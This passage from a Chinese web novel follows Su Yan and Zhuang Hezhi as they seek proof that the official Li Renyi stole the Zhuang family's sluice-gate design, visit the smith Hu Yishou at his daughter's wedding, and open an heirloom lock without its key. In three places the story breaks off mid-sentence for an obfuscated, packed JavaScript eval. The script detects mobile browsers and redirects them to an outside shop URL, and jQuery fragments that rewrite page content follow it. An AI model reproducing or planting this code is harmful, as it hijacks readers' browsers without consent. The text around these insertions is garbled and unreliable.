庄鹤止没说话，只是慢慢走到她面前。奇怪的暖意还在，因为靠近她，更清晰了些。 他总感觉有很多想说的，又最终只挤出了几个字：“那你觉得有效果吗？” “有效果的！”苏厌试图蒙混过关，还把手里的勺子往前递了递，“桂花酒酿，我最喜欢的糖水，以前和姐姐隔三差五就要吃，你也试试吧！” “说不定你试了，也会像我心情这么好，心情好了，我也能暖和点？”苏厌说。 庄鹤止看着那递到面前的甜酒酿，沉默了几秒。 苏厌以为他会不屑一顾、嗤之以鼻，没想到他接过她手里的碗，将那柄勺子拨到一边，在她吃过的地方，直接低头喝了一口。 热、甜、酒香、桂花香，在他口腔里弥漫开来。 苏厌有点惊讶。 他居然真的喝了？ 庄鹤止开口，声音恢复平淡，“挺好吃的。” 苏厌道：“你看，你开心，我也开心，充分证明，确实有效果。” “嗯。”庄鹤止转身，朝舍里走去，“下次再有新想法记得提前说，我不想再喊半天没人应了！” 这人真的很多事……苏厌这样想着，但还是追了上去。 这段时间，苏厌就在西廓舍住下了。 庄鹤止虽只是个正八品的军器监主事，却非闲差。 他不必每日上朝，但需按时应差，或是在监内核验图纸尺寸、监督工匠按规程制作、试验新器械性能、撰写工文簿册等，有时还要应对上官的临时差遣或质询。 偶尔也会被派去城外营坊盯工期。俸禄还不错，担子也不轻。 至于在西廓舍这处官舍内，庄鹤止划给苏厌一个类似外聘幕僚的权限。 苏厌的工作之一，是帮忙做技术文书与外联。 凡军器监中，未涉及机密的，庄鹤止经手项目的往来文书、物料清单、与其他衙门协作的条款，都由苏厌先过目。 其二，是旧案梳理与证据留存，这是苏厌自己要求的。 苏厌向庄鹤止要庄家连机枢设计以来的所有手稿，以及所有李大人经手过的图纸、草稿和实验记录。 原本这些材料庄鹤止不以为意，但自从李大人对他的设计强取豪夺，他才终于开始留意这些东西，并且试着收集起来。 她的对抗，就这样悄然开始了。 有次庄鹤止回来，扔了一箱旧图纸和文书在苏厌面前。 翻看那堆旧图纸，回忆渐渐清晰，庄鹤止想起来第一次向李大人透露这个设计，是在半年之前。 清晨，朝廷工部军器监东厢议事房。 工部郎中李大人李仁义的主位空着，其余人散等在堂中，三三两两地挨着。 东北角两个稍微年长些的，低声议论着昨夜新得的美酒，约着今晚在酒楼再聚一次。 靠门口的一位主事显然是没睡好，打着哈欠，有人问起，他便说昨晚又和第三房夫人吵架了，夫人发起火来把他被子扔下了井，不准他进屋，搞得他只能翻出一条薄被，冻了一整晚。 更多的人是一言不发在那站着，显然早已经习惯了李仁义这套每次朝会都要迟到，让所有人等的作风。 过了一会儿，李仁义姗姗来迟。 他年约四十五，身形清瘦，没有官场常见的富态，反而有一种清正廉洁的风骨相。 他着一身半旧的衫子，但仔细看看袖口，用料却崭新奢华。 “李大人好！”自由散漫的一行人见李仁义环视着四周走进来，纷纷往议事房中心聚拢、站好。 “嗯。”李仁义嗯了一声，中气十足，昂首阔步地登上主位。 他正襟危坐，看了一眼底下的人，没有拖泥带水：“前两天我碰到户部王大人，他告诉我，现在各项工程维护与人工成本连年攀升，已经不堪重负。” 底下一片安静。 “如今，朝廷漕运依赖大量人力和沿途闸口，维护与人工成本连年攀升。旧的闸口启闭缓慢，船队拥堵严重，运货运粮周期长，效率低，这批闸口从今年开始朝廷是要拨款换掉的。” “如何提升漕运效率，这件事情由我们工部负责。敢问诸位同僚，有何良策？” 底下的主事们面面相觑，小声讨论。 不一会儿就有人开始提出解决之法，有的提议加征民夫，有的提议提高过往船只的闸口税，还有的更激进，说裁掉一批老弱闸吏，换一批更年轻的。 李仁义闭着眼睛，细细听着，时不时摸摸胡子，一言不发，显然对这些方案并不满意。 都是隔靴搔痒，并没有解决根本问题。 最重要的是，这些方案，和工部没有什么关系，无非是把问题甩到了其他部那里，完全投机取巧的做法。 几番讨论下来，现场并未产生有价值的解决方案，李仁义有些恼怒，让他们今晚好好想想，明早朝会再汇报。 结束后，李仁义回到官廨开始批阅文件。他前脚关上门，庄鹤止后脚跟了上来。 他在李仁义官廨附近徘徊，挣扎着到底要不要敲开这扇门。 几番考虑，他还是下定了决心。 “请进。”李仁义的声音从屋内传来。 庄鹤止有些紧张，他清了清嗓，推开门进去。 官廨不大，陈设简洁，一桌四椅一书架一兰花。 桌上摞着一大叠待批公文，庄鹤止进来，李仁义并未抬头，而是端坐案后，低头看一份摊开的公文簿册。 直到庄鹤止关上门，来到他案前，他才终于抬起头。 “庄主事啊，有什么事情要此时来见？”李仁义问。 “李大人，是关于今天朝会您说的，漕运改造之事。”庄鹤止秉明来意，“下官有一些想法。” 他将连机枢的图纸呈给李仁义，从头到尾做了细致的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319169|199027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讲解。 李仁义听得入了迷，庄鹤止发现他听到最后，双眼瞪得圆润有神。 “庄主事，我们这边坐。”李仁义一改刚刚冷漠不近人情的模样，热情地邀请庄鹤止同坐，还沏了一壶茶，“还有几处，我不太理解，请庄主事指教一二，这里……” 他们从白天聊到傍晚，等细细讨论完，庄鹤止抬头一看，太阳已经下山了。 临走时，李仁义让庄鹤止将完整的图纸留下来，被庄鹤止拒绝。 “李大人，并非我不想留给你，只是这份图纸还存在问题。面对上下游水位因暴雨突然产生剧烈落差，传统闸口容易被冲垮，而我在连机枢中设置了一个安全锁，可以保证自动适应水压并且到合适位置自动锁死。只不过这一处计算复杂，下官暂未完成。”庄鹤止说。 “好，好。”李仁义若有所思道，“庄主事下去仔细研究，我等你的好消息，有什么问题可随时找我。” 三个月后，当庄鹤止在工部新发的《漕运革新条例》附图中，看到熟悉的连机枢结构，他瞬间恼羞成怒。 图纸被简化了，安全锁的设计也被替换了，署名处赫然只有“工部郎中李仁义”。 他火冒三丈，冲到李仁义的官廨，没有敲门就闯了进去。 李仁义还是那副慢条斯理的模样，坐在案前。 “李仁义！你这是什么意思，那是我的图纸！”庄鹤止的声音因为愤怒止不住地发抖。 李仁义缓缓抬起头，脸上毫无意外之色。 “庄主事啊，来，别站着啊，坐下说吧！”他放下笔，抬眼看庄鹤止，“此话怎讲？这是工部集思广益，本官领衔改良的漕运设计，何来‘你的’一说？” “三个月前，我就是在这里向您详述，您居然做此等恶心之事！”庄鹤止双手死撑着案沿，毫不留情地痛骂。 “庄主事，年轻人有心气是好的，我非常理解。但是，你说这设计是你的，证据呢？谁能证明？是你那久卧病榻的老母，还是你那已经死了的父亲啊？” 庄鹤止如遭雷击。 李仁义这个小人……竟然如此低劣下流，甚至以父母威胁。 “你父亲是戴罪之身，你能考取工部，已经是很不容易的事情了。你要想清楚，倘若这图纸真的是你呈上去，你能守得住吗？”李仁义笑笑，“只怕还未邀得功劳，就先惹祸上身了。我将其归于工部，这是在保全你们庄家的体面啊！” “鹤止，你还年轻，前程要紧。”最后，李仁义叫了他的名字，送他“前程要紧”四个字。 庄鹤止站在那里，浑身冰冷。 此刻，他攥着图纸的手越捏越紧，那种冰冷又愤怒的感觉卷土重来。 苏厌立刻上去制止：“停！庄鹤止，你是不是又忘了！” 庄鹤止一愣。 苏厌将他手中的图纸接了过来：“不要生气，不要激动，如果你实在控制不住呢，我先把棉袄穿上。” 这句话有点好笑，庄鹤止一下松弛了很多。 “这里面是工部的公开图纸，是李仁义画的。另外还有一些项目资料，不知道能不能有所帮助。”庄鹤止把箱子里的东西一一拿出来，摆在苏厌面前。 苏厌道：“好，我先研究一下。” 苏厌把全部的材料一份份整理好，并且按照自己的思路重新分类、编目、建立关联。 等到她所有的材料都看了一遍，已经到了晚上。 庄鹤止服侍老夫人睡下后，轻手轻脚进了厨房，炒了两个小菜，又煮了一锅粥，端进苏厌的房间。 “有什么发现了吗？先吃饭吧。”庄鹤止把东西摆好。 苏厌应了一声，眼睛还是没有从材料上挪开。 突然，她像想起了什么，在桌上翻找着，拿出好几份文件比对。 5. 第 5 章 “庄鹤止，你过来看。”苏厌对着庄鹤止招了招手。 庄鹤止放下手里的东西，走到她身边，只见她先抽出了几份名册和匠籍记录，在灯下并排着展开。 “这里不太对劲……”她指尖轻点着那份名册，喃喃自语，“你看这里。” 庄鹤止凑近，见苏厌指着一个名字：“胡一手，这人是个铁器锻打匠，三个月前项目刚开始他就一直跟进，每一次签押单都有他的名字。” “但从前几天开始，这个名字凭空消失了。” 她又迅速翻出几份同期其他项目的物料签押单：“同年，其他项目，仍然有他的指印。” 她抬起头看庄鹤止：“一个全程参与的大活人，其他项目还在做，唯独漕运改造项目没了他的名字。” “胡一手……”庄鹤止反复念叨这个名字，似乎想起了什么：“我认得他！” 他激动地看着苏厌：“我记得这个人，我奶奶最早试做连机枢的木头模型时，链接处的铁扣和转动轴承，找的就是他。因为他和庄家是同乡人，锻造期间经常跑来我家，和奶奶一起研究铁扣的样式。” 苏厌很高兴：“也就是说，庄家最早的连机枢原型他接触过了！” 庄鹤止点点头，回忆又涌了上来：“不止。后来我父亲精修第二代设计，一部分木质结构换成了铁枢，也是请他打的样品。他那个时候闷头敲了三天，废了很多好铁，来的第四次我父亲才满意。” “工部这个项目他从头跟进了，他打过也看过我家的初始图样，他一定知道这是出自庄家的设计。”庄鹤止道。 苏厌拿起笔在空纸上画了两条线，分别写上人证和时间线。 “我觉得，我们有两个突破口，因为任何创造都离不开两个最基础的东西，一是人证，谁参与了；二是时间，想法何时产生，何时改进，何时定型。” 她把纸上“人证”二字圈了起来：“胡一手就是这个人证。现在，我们还缺的是和时间有关的东西。” “你记不记得胡一手第一次替庄家打造东西是什么时候？两次打样有没有留下什么记录，或者特别的、只有你们才知道的印记？”苏厌问。 庄鹤止闭眼想了想，再睁眼的时候，油灯的火光在他眼里跳跃：“他喜欢在他做成了的物件上点三个小凹槽，他说这样汇成三星，是吉利的意思。” 苏厌点点头：“我们得找到他，他是你重要的人证。不过不一定非要他急着出面指证李仁义，那太危险了。” “找到他，最好是能问出庄家连机枢设计的细节，如果还能找到以前他依照图纸打过的零件，就更好不过了。” 第二天一早，庄鹤止去了趟工部衙门，辗转打听到胡一手干活的铁匠铺所在。 他寻过去一问，铺里的徒弟告诉他，不巧，胡师傅前几日刚请假，回老家嫁闺女去了。 回来后，两人在院里对坐着。 庄鹤止将铁匠铺带来的消息说完，开始收拾包袱：“我们两个一起去。” 苏厌将手中的册子合上：“工部那边走得开？” 庄鹤止动作利落：“李仁义那边没什么要紧事，况且我看见他那张脸心里就堵得慌。” “但工期不等人。现在他们已经画好了最终定线图，正在呈批，很快就要开始征调民夫。” “胡一手认的是庄家的人，可能有些旧事他要见了庄家的人才愿意开口。”庄鹤止说话间已经把两人的东西收拾好了，还不忘带上苏厌冷时穿的那套袄子。 还有一句话，他没说出口。 那就是，若苏厌孤身一人，途中又犯寒症怎么办？ 这念头在他脑中闪过，自己都觉得荒谬。 当初在湖边，他只当苏厌是个江湖骗子，对那套说辞嗤之以鼻，如今竟开始担心起这种荒唐事。 真是离谱。 不过，这个不知道哪里来的织户弃女，确实有点东西，这么短的时间内就能发现问题。 死马当活马医，把希望寄托在她身上，或许未尝不可。 收拾好东西，两人身影一前一后朝城外驿站的方向走去。 到达庄家祖宅的时候，已经晌午。 庄家祖宅位于镇边相对安静的街巷中，是一栋复合式宅院。 虽然已经很久不住人，但从那厚重的乌木大门、衔接处锻造精良的黑铁、门上的青铜衔环等精致的细节里，依然能看出这座宅院曾经的辉煌。 太像了。 苏厌不禁感叹，像祖母的老宅。 祖母的老宅，是一个江南大院。 在祖母那一代，匠人们风头正盛，百花齐放。 要是谁出自匠人世家，都是要被高看一眼的。 舅舅姨娘们刚开始学手上的活计，便是在大院里，由祖母亲自传授。 祖母闻着刨花香气长大，后来，工匠技巧更精、工具更完备，她反而摇摇头，对舅舅姨娘们说：“不知道该说你们幸福，还是不幸福，你们的工具更多更好，技术同以前也不一样，只是，你们也闻不到纯正浓烈的刨花香气了。” 苏厌自小在祖母的老宅中长大，同姐姐整天你追我赶，跑上跑下，娘在身后火急火燎地喊着，她们也不听。 好不容易，娘把她俩逮过来，往舅舅姨娘旁边一扔，训道：“哪里也不许去，要专心，跟着舅舅姨娘学！” 苏厌不解，她问：“为什么要学呢，也许以后，我们都不用这些工具，也不用这些方法。可能以后没有连环锁，没有自鸣钟，未来总有适应那时的东西啊！” 舅舅姨娘们权当她是小孩子发梦，或者那时他们也年轻，回答不了苏厌这个问题，便一笑而过。 只有祖母会很认真地反问：“那，等厌儿长大了，祖母也不在了，是不是厌儿也不再需要祖母，不再记得祖母？” 每次这句话都能把苏厌惹哭。 她哇哇叫着，说祖母我学就是了，你为什么要这么说，为什么要吓我嘛！ 祖母把苏厌拉到身边来拍拍：“祖母不是故意吓你。祖母只是想告诉你，无论这世界上的其他人是否知道，但你要记得你的来时路。你替苏家记得，苏家就会一直在。” 这场景一下子把苏厌拉回小时候。 她突然很想祖母，很想姐姐，也很想娘亲，很想回去。 但是她回不去，在这人生地不熟的地方，她没有办法，只能走一步看一步。 庄鹤止刚准备推门进去，心脏突然一阵疼。他反应过来，回头看苏厌，只见她眼眶红红的。 “苏姑娘，怎么了？”庄鹤止退回去问。 “没事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319170|199027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你这宅子让我想起了老家。”苏厌抹了抹眼泪。 庄鹤止只当她是刘织户的病弱弃女，看到房子触景生情，恨起了家里人。 刚好他也有让他恨得牙痒痒的亲戚，便一下带入了进去：“别伤心，那种没良心的人会遭报应的。” 苏厌听了，点点头，在心里想笑又不敢笑。 庄家祖宅许久没人居住，两人在里头搜寻整理了一番，也没找到什么有用的东西，只有一些更早期的设计图纸，或者一些画废了、作废了的东西。 庄鹤止将搜集到的少部分东西拍拍干净，心想原始资料很宝贵，能找到一些是一些，便也随身带着。 从庄家祖宅出来，他们朝胡一手的铺子走过去。 嫁娶现场，到底是热闹的。越走越近，那情景也变得全然不一样起来。 他们首先听到音乐声。 风将唢呐声裹起来，传遍了整个巷子。 接着是“咚咚锵”的锣鼓，仿佛整个地面都在震动。 再近，就是嘈杂的人声，孩童的吵闹尖叫、女眷们叽叽喳喳或者时而爆出几声大笑、邻里相亲的吆喝声，一起涌来。 “借过借过，礼箱来啦！” “快呀，快给新娘子让路，马上要到啦！” “各位亲朋好友里面请！” 胡家铺面旁边就是胡家小院，苏厌走到院门口，满眼都是红色。 红绸扎成的大花球，一串串红灯笼，红色的“囍”字剪纸。 妇人的鬓边别着红绒花，孩子们手里的篮子装着红果子，帮工的腰间也系着红布条。 好生热闹，苏厌完全被这氛围感染。 她被吸引着往前走，差点忘了身后还有人。 等她想起来的时候，回头一看，庄鹤止竟然被一群小孩子包围。 “哥哥，这个东西是什么啊？”一个小孩摸着庄鹤止工具袋里的黄铜圆规。 “哥哥，你为什么要把滑轮带在身上，你是不是偷我玩具车的小车轮了！”另一个小孩对他带着的滑轮感兴趣。 “哇，为什么我的镜子会被你这两块石头粘住啊！”那其实是两块磁铁，刚好那小孩身上的镜子也有一块区域有磁力。 庄鹤止身体僵硬，皱着眉头举着双手不知道往哪里放，脸也微微红。 他看向苏厌，那表情好像在求救。 苏厌看着他，差点没笑出声来。 怼天怼地的庄鹤止，连工部郎中都不怕，偏偏被这几个小孩子治住？ 苏厌偏偏双手抱在胸前，像看戏一样站在原地。 直到庄鹤止表情越来越难看，以又想求人又不甘心的表情死死盯着苏厌，她才终于放下了捉弄庄鹤止的心情。 “好了，你们都听我说。”苏厌像个孩子王，直接走过去控场：“你们是不是很好奇哥哥身上都有什么东西啊！” “没错！”孩子们大喊。 “那，你们来和哥哥姐姐玩个游戏怎么样，哥哥姐姐呢，现在进去藏在院子里，你们在原地数50个数，数完了之后，找到哥哥姐姐，找得到的话，哥哥身上的东西就全部送给你们！” “好耶！”孩子们都很听话，马上开始捂着眼睛数数。 苏厌赶紧把庄鹤止往这边一拉，两个人蹑手蹑脚溜进了院子。 6. 第 6 章 胡家小院地方不大，但是挤满了人，平时见得到的见不到的亲戚，今天都到场。 庄鹤止脱了身，赶紧在人群中寻找胡一手。 不一会儿，他就远远看到那个熟悉的身影，正在对着到场宾客作揖。 两人走到胡一手面前的时候，胡一手正准备往里屋走。 “胡师傅，且慢！”庄鹤止喊了一声。 胡一手听到胡师傅这个名字，就知道一定又是公事。 他很恼火，自己是走正规渠道告假了的，怎么我人都在老家，活还是找上门来了？ 他憋着气，但又碍于今天是个大喜日子不好表露：“两位，真不好意思，你也看到了，我女儿出嫁，有什么事情，等我休假完了再谈吧！” 庄鹤止没回应他的话：“胡师傅，李仁义大人向您问好。” 短短几个字把胡一手吓得不轻。 他鄙夷地看着两人，脸上又是嫌弃又是害怕。 他上前一步，压低声音说：“别在这里，跟我来。” 带着两人进了一间无人的偏房，胡一手便直话直说。 “两位到底是为何而来，我已经退出，还想怎样？”胡一手想发怒，但想想面前这人提到了李仁义大人，高低也是个官，不敢放肆。 “胡师傅，您别生气，刚刚吓到您，不好意思。”庄鹤止一改刚才的语气，“其实，不是李大人让我来的。您可能不认识我，但是您一定认识我的奶奶和父亲。” 胡一手皱着眉头想了一会儿，眉头逐渐舒展开：“你是，庄家人？” 庄鹤止点头：“没错，我是庄家后人，我叫庄鹤止，如今在工部当差。” 胡一手轻松了不少：“哎呀哈哈哈哈，小庄啊，多久没见了，你都长这么大了，今天来，怎么都不告诉我一声呢？” 庄鹤止笑笑：“其实，我也是昨晚才知道您告假，贸然前来没有告知您，实在不好意思。其实……我是为了漕运改造一事而来。” 胡一手的表情凝固了：“漕运改造……这件事我不清楚，我只是打样送货的，你不应该问我。” “之前物料签押，一直都是您负责的，但最近，您却被除名，这到底是为何？”庄鹤止单刀直入。 “你也看到了，我最近要请假嘛，换其他人跟进，很正常。”胡一手摆摆手，准备往外走，“这是件小事，没有什么背后的原因，小庄啊，你别纠结这件事，我还要忙呢！” 庄鹤止拦住胡一手的去路：“胡师傅，您别走。这次漕运更换的最新系统，您见过的，您替我奶奶和父亲打过样的，您认识那是庄家的东西，对不对？” 胡一手道：“庄大人，您别让小人为难。我只是一个勤勤恳恳做工的师傅，东西是谁的和我一点关系也没有啊！” 一声“庄大人”叫出口，刺痛了庄鹤止。 胡一手这是在提醒他，继续问下去，他有可能会给胡一手带来麻烦。 胡一手只是一个平凡生活的手工艺人，他经不起这样的麻烦。 “抱歉，胡师傅。”庄鹤止眼里黯然失色，“您去忙吧。” 胡一手叹了口气，走出门去，留下苏厌和庄鹤止在房间里，相看无言。 “要夺回那个图纸真的是没有这么简单。”苏厌感叹，“我现在终于知道，为什么那么多设计最终无法被保全。” “创造一个东西需要一个人的全部的心气和心血，但是拿走它只需要一个名字，一份权利，一个让大家都没有办法的规矩。” “造一个连机枢，三代人都扑了进去。改进一个安全锁，你花了不知道多少年的计算、考量、测试。” “但是有人要拿走，只需要签个章，同人喝几杯酒，再说几句漂亮的场面话。” “如果你要追真相，会给同你一样境遇的人带来麻烦。” “凭什么这些麻烦是由你们承担啊！” 苏厌咬紧牙关，攥紧拳头，气得双肩直抖。 庄鹤止反而没有苏厌这么生气，也许他一开始就处处碰壁，到这一步也习惯。 “我们先走吧，看看还能不能想另外的办法。”庄鹤止说完，两人就往屋外走。 还没走出几步，屋内传来了啜泣声和争吵声。 两人对视了一眼觉得奇怪，大喜的日子，是谁在哭谁在吵？随即顺着声音跟了过去。 只见堂屋里，胡一手恼怒地大喝。 对面是新娘子，胡一手的女儿胡小妹，抱着一个精致的匣子在那抹眼泪，身边还站了几个稍微年长一些的女眷，低声安慰。 “都要嫁人了，还这么执拗！”胡一手拍了一把大腿，指着胡小妹埋怨。 胡小妹不说话，只是眼神锐利地盯着自己的父亲，默默掉眼泪。 苏厌偷偷从后方溜过去，来到一个女眷身边：“姨娘，这是怎么回事啊？” 女眷将苏厌悄悄拉到廊下，避开堂屋中央的争执，焦急地说：“这位姑娘，你也帮着劝劝胡师傅吧，那匣子真砸不得！” 她朝堂中正在啜泣的胡小妹努努嘴，眼中满是怜惜。 “你看到小妹手里的匣子没？那个啊，是她娘留下来的。她娘身子弱，去得早，临走前什么也没多说，就留给她这匣子，说是嫁妆。” 另一旁年纪稍长的姑婆这时也凑过来，抹了把眼泪，补充道：“她娘啊，早知道自己撑不过去了，但又实在心疼这个女儿，就自个儿寻了块老檀木，病了几年，就磨了几年。” “疼得厉害时，也是摸着这个匣子睡的。那最后一层漆，都是撑着身子亲手刷的，刷完没多久就……”姑婆声音越来越小。 先前那位女眷忙接着说：“但他们自己也没想到，到了这办正事的时候，找不着钥匙了，打不开这匣子。” “胡师傅五大三粗的，他哪里有这细心思，也不知道怎么想的，非让小妹把这匣子砸开，出嫁要紧。”女眷指了指那匣子，“小妹这才发疯似地护着，同胡师傅吵了几句，她说要是砸了，就把娘最后那那片心都砸烂了。” 说到这里，女眷瞥了一眼堂屋里脸红脖子粗的胡一手，语气无奈，似乎恨铁不成钢。 苏厌这才了然。 堂屋内，气氛紧绷。 眼看着两人又吵了起来。 胡一手急得额头冒汗：“吉时要误了！一个木头匣子，比你终身大事还要紧？你娘若在，也肯定要你砸了匣子赶紧把东西拿了，收拾妥当上轿！你只管拿给我，我给你砸！” 胡小妹死死将匣子护在胸口，硬要和爹犟：“不许碰！我不砸，我不走，您不要再说了！等我找到钥匙打开，我自然上轿！” 胡一手又急又气：“傻闺女！你娘疼你，盼着你顺顺当当出嫁！这物件是死的，人是活的！你如今为个死物哭成这样，才真是伤了她的心！” 胡小妹被胡一手那句“为个死物哭成这样”呛到了，这些年受的委屈狠狠决堤。 胡小妹站起来，先是不可置信地望着胡一手，然后带着尖锐的哭腔吼道：“为了死物伤了娘的心？爹，你怎么敢说这样的话！” “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319171|199027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您知不知道，娘病着的时候，多少次盼着您多跟她说句话，可您呢？您不是在铺子里敲木头，就是拿着图纸琢磨到半夜！您何尝不是为了死物伤了她的心？” 简直当头一棒，胡一手脸色惨白。 “你个不孝女，敢这样说你老子！我那是为了这个家！为了让你娘、让你过上好日子！” 胡小妹眼泪夺眶而出，步步紧逼：“好日子？娘要的好日子，无非是有你陪，能和你说上话，你摸着良心说，把我娘晾在一边，成天不理她，就对着你那些东西，这算是什么好日子！” 堂屋内一片死寂，只有胡小妹剧烈的抽泣声。 胡一手踉跄后退一步，嘴唇哆嗦着，一个字也吐不出。 胡小妹抱着匣子，声音哽咽：“你总是这样的，你觉得东西坏了能修，锁住了就砸开，人就要顺着时辰走，什么人情都不管不顾。说得好像什么都知道，其实最不懂娘的就是你！” 几个女眷赶紧把胡小妹往回拉，手晃荡着，让胡小妹别说了。 此话一出，场上安静许久，再没有人说话。 苏厌慢慢走向父女俩。她先是走到胡小妹身边，对那个匣子仔细端详起来。 锁的造型并非寻常的锁，是一个略呈扁圆、边缘收束的花苞型锁，锁孔藏在花萼的缝隙里。 锁身表面，沿着花瓣的弧度，刻着精细小巧的流水纹。 就是它了。 这纹样，这造型，她太熟悉了。 这叫“海棠同心锁”，是她的高祖辈的老祖母独创的款式，当年在江南的夫人小姐圈子里风靡过一阵。 这锁的巧妙之处在于，锁芯藏着三道连环扣，如果没有钥匙，还有一种解法，就是顺着锁身上纹路，用巧劲依次点开。 因为又雅致又巧妙，当时不少疼爱女儿的人家都特意订来做嫁妆锁，讨个好意头。 苏厌的那位老祖母因为这款设计被称为“江南第一巧手”，她首次将嫁娶之物变成闺中雅玩，在寻常女子的日常美学中加入机械之理。 也是从这个设计开始，市面上逐渐出现鱼、蝴蝶、麒麟、琵琶、灯笼、花瓶等式样的同心锁，铁器行当生出满城浪漫。 苏厌没想到，会在这里见到它。 想必匣子的主人，也就是胡小妹的娘，一定很珍视胡小妹。 她深吸一口气，坚定地开口：“胡师傅，胡姑娘，请先听我一言。” 两人同时看向她。苏厌的目光落在胡小妹身上：“若我没看错，这锁并非寻常锁匠所为。它叫海棠同心锁，锁芯有三重机巧，强行砸开匣子会永久损伤，再难复原。” 胡小妹闻言，抱紧匣子的手更用力了。 胡一手疑惑：“这锁还有讲究？” “没错。”但苏厌没有详说自家渊源，只看向胡小妹，“你若信我，让我试试。我能不用钥匙、不损害匣子，打开它。” 胡小妹看出苏厌的自信。她缓缓将匣子交给苏厌。 苏厌接过，触手是熟悉的温润。 她屏息凝神，将第一扣轻轻一旋，又将第二扣轻轻一抽，最后，指腹往前一推。 “咔哒。” 一声轻响，清脆温柔。 锁开了。 一朵海棠自然而然地舒展开了花瓣。 胡小妹激动地奔了上来。 胡一手也愣在原地，他仿佛在那一刻，又了解自己的妻子一次。 苏厌轻轻取下锁，将匣子还给胡小妹：“看，完好无损。现在你可以亲手打开了。” 7. 第 7 章 闹剧终于收场，胡小妹上了轿，胡一手也松了一口气。 他看着女儿的背影，眼里含着泪。 不知道是心里憋着一口气，还是不忍看到那场面，他没有跟上去。 热热闹闹的人群退去，胡一手回头，看到苏厌和庄鹤止仍然站在屋里。 他面露无奈。 “多谢姑娘，这锁我只知其一不知其二，若不是你熟悉，今天就要闹笑话了。我这女儿，跟我一样执拗。”胡一手说。 “不客气，我也只是姐妹出嫁的时候偶然见过。”怕庄鹤止起疑心，苏厌随便编了个理由。 胡一手摆摆手：“姑娘客气了。既是偶然见过，也是缘分。眼下家里乱糟糟，我也累了，两位若无事，不如就此别过吧。” 苏厌和庄鹤止对视了一眼。 “胡师傅留步。”苏厌上前一步，“您知道的，我们专程前来，确实还有一事不明。那就是，您当初究竟为何不再接触闸口那个项目了？” 胡一手表情没有任何变化，他料到两人做了这么多，留了这么久，就是为了这件事。 不拿到答案，他们是不会离开的。 胡一手轻轻叹了一口气，眼神里带着纠结：“都是小事，何必再提？也许是我手艺不精，不合上头心意，也许是我其他事情太多，顾不过来。” “若真是手艺不精，我们不会多问。”庄鹤止平静开口，话里却带着分量，“您的手艺，庄家再清楚不过。最初定的首作是您，无故除名却无说法，这不合理。我们想知道真相。” 面前这两个年轻人，追根究底，实在真诚。 胡一手望着两人，终于放松下来：“罢了。其实告诉你们也无妨，我自己也只当是桩怪事，没深想。唉，其实是这样。” “我负责制作的主要是闸口的承重轴承和巨型门闩锁扣，还有几处关键榫卯的木作。” “做着做着，我就发觉不对。” “他们从铁匠铺定这些轴承锁扣的数量，太多了。不是多一点点，是多出不少。” “我心里犯嘀咕，就对着来取货的差役随口说了一句，这闸口需要用到这么多铁吗？按图纸不该要这个数啊。” “那差役没接话，我也没当一回事。那之后，我就被通知不用再跟进了。” 庄鹤止问：“胡师傅，您说的按图纸，是按哪份图纸？” 胡一手被问得一愣，随即有些恍然大悟：“图纸……其实我没见过朝廷最终合用的那份。但我见过庄家内部的那些旧图稿。” “我一直知道庄家有人在军器监任职，喏，像小庄你就是。所以这次漕闸工程，我看那些铁器规制，我理所当然以为，朝廷用的是你改良后提供的图纸啊。” 房间里安静了下来。 庄鹤止点点头，朝苏厌道：“胡师傅随口一问，差役听见，上报给主管此事的李仁义。他肯定立刻就会警觉，为何一个外围工匠知道准确的铁器需求，还能判断太多。” 苏厌接上话：“他定会查胡师傅。一查便知他与庄家有来往。” “所以，”庄鹤止得出结论，“将你除名并非因你手艺，是因为你曾见过旧图纸，怕你无意中点破的图纸与用料的差异。” 胡一手之前权当是一件小事，现在总算明白了缘由。 “胡师傅，”庄鹤止再度开口，“既已说到这里，那我便再多问一句。此次前来，另有一事，您当年为庄家打制的连机枢粗样，可还有留存？” 胡一手闻言，摇摇头。 “这事儿恐怕要让你失望了。”他声音里带着歉意，“那些样品早就不在我这儿了。” 苏厌追问：“一件都没有了？不用完整样品，某个零件，某个部位都行。” 胡一手摇摇头苦笑：“确实是没了，全卖了。” 胡一手有些欲言又止。 他似乎不太愿意提起，却又觉得应该对这两个年轻人交代清楚。 “你们刚刚应该听说了，我内人前些年病得重，家里能当的、能换钱的，差不多都折腾出去了。那些样品，做工还算精巧，材料也好，卖了不少钱。”胡一手说。 庄鹤止问：“那您可记得，是卖到哪里，大约是什么时候的事？” “已经很久了，五六年前吧，内人也走了快四年了。”胡一手努力回忆。 听到这里，庄鹤止没有继续追问具体的店铺细节。 五六年前，样品流入茫茫市井，如今再去追查无异于大海捞针。 这条线是断了。 